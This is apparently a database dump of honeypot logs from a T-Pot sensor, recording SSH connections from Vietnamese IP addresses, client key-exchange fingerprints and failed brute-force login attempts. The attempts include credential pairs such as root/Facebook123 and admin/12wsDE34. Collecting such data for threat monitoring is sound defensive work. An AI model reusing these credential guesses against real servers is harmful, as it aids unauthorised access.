"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:10:49.944514", "@timestamp": "2021-09-20T11:10:49.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25780	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:49.603028+03	2021-09-20 14:15:12.426645+03	{"_id": "4gbmAnwBvYTbRNuExBz1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/Facebook123] failed", "session": "041bd29e3be2", "@version": "1", "password": "Facebook123", "username": "root", "timestamp": "2021-09-20T11:10:49.603028Z", "@timestamp": "2021-09-20T11:10:49.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25781	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:49.639474+03	2021-09-20 14:15:12.428645+03	{"_id": "4wbmAnwBvYTbRNuExBz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:53320 (192.168.176.2:22) [session: 650e5c6f5dca]", "session": "650e5c6f5dca", "@version": "1", "protocol": "ssh", "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:10:49.639474Z", "@timestamp": "2021-09-20T11:10:49.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25782	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:49.670852+03	2021-09-20 14:15:12.429646+03	{"_id": "5AbmAnwBvYTbRNuExBz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "650e5c6f5dca", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:49.670852Z", "@timestamp": "2021-09-20T11:10:49.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25783	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:49.945165+03	2021-09-20 14:15:12.430644+03	{"_id": "5QbmAnwBvYTbRNuExBz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "650e5c6f5dca", "@version": "1", "timestamp": "2021-09-20T11:10:49.945165Z", "@timestamp": "2021-09-20T11:10:49.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25784	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:50.030995+03	2021-09-20 14:15:12.431647+03	{"_id": "5gbmAnwBvYTbRNuExBz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [compras/comprasBrazil] failed", "session": "8e5aded853ca", "@version": "1", "password": "comprasBrazil", "username": "compras", "timestamp": "2021-09-20T11:10:50.030995Z", "@timestamp": "2021-09-20T11:10:50.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25785	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:50.895896+03	2021-09-20 14:15:12.433644+03	{"_id": "7QbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "041bd29e3be2", "@version": "1", "duration": 4.921217441558838, "timestamp": "2021-09-20T11:10:50.895896Z", "@timestamp": "2021-09-20T11:10:50.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25786	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:50.839988+03	2021-09-20 14:15:12.434645+03	{"_id": "_AbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/12wsDE34] failed", "session": "db949f800bfa", "@version": "1", "password": "12wsDE34", "username": "admin", "timestamp": "2021-09-20T11:10:50.839988Z", "@timestamp": "2021-09-20T11:10:50.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25787	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:50.859075+03	2021-09-20 14:15:12.435644+03	{"_id": "9gbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/0987654321] failed", "session": "e25091ee4922", "@version": "1", "password": "0987654321", "username": "admin", "timestamp": "2021-09-20T11:10:50.859075Z", "@timestamp": "2021-09-20T11:10:50.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25788	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:51.82182+03	2021-09-20 14:15:12.437646+03	{"_id": "AAbmAnwBvYTbRNuEyx0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2154881397528040, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38356, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.821820Z", "@timestamp": "2021-09-20T11:10:51.821Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25789	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:51.821981+03	2021-09-20 14:15:12.438644+03	{"_id": "BQbmAnwBvYTbRNuEzB05", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38356, "timestamp": "2021-09-20T11:10:51.821981", "@timestamp": "2021-09-20T11:10:51.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25790	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:53.296897+03	2021-09-20 14:15:12.439645+03	{"_id": "FQbmAnwBvYTbRNuE0B2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:38820 (192.168.176.2:22) [session: 6869da236584]", "session": "6869da236584", "@version": "1", "protocol": "ssh", "src_port": 38820, "dest_port": 22, "timestamp": "2021-09-20T11:10:53.296897Z", "@timestamp": "2021-09-20T11:10:53.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25801	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:54.930105+03	2021-09-20 14:15:12.453644+03	{"_id": "NwbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "41d400a16496", "@version": "1", "duration": 3.630831241607666, "timestamp": "2021-09-20T11:10:54.930105Z", "@timestamp": "2021-09-20T11:10:54.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25791	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:10:53.614047+03	2021-09-20 14:15:12.440646+03	{"_id": "HQbmAnwBvYTbRNuE1B0I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38820, "dest_port": 22, "timestamp": "2021-09-20T11:10:53.614047", "@timestamp": "2021-09-20T11:10:53.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25792	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:53.855441+03	2021-09-20 14:15:12.442646+03	{"_id": "HgbmAnwBvYTbRNuE1B2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50200 (192.168.176.2:22) [session: da54e520d054]", "session": "da54e520d054", "@version": "1", "protocol": "ssh", "src_port": 50200, "dest_port": 22, "timestamp": "2021-09-20T11:10:53.855441Z", "@timestamp": "2021-09-20T11:10:53.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25793	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:54.491653+03	2021-09-20 14:15:12.443644+03	{"_id": "HwbmAnwBvYTbRNuE1B2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:32924 (192.168.176.2:22) [session: fb53ec7c98a7]", "session": "fb53ec7c98a7", "@version": "1", "protocol": "ssh", "src_port": 32924, "dest_port": 22, "timestamp": "2021-09-20T11:10:54.491653Z", "@timestamp": "2021-09-20T11:10:54.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
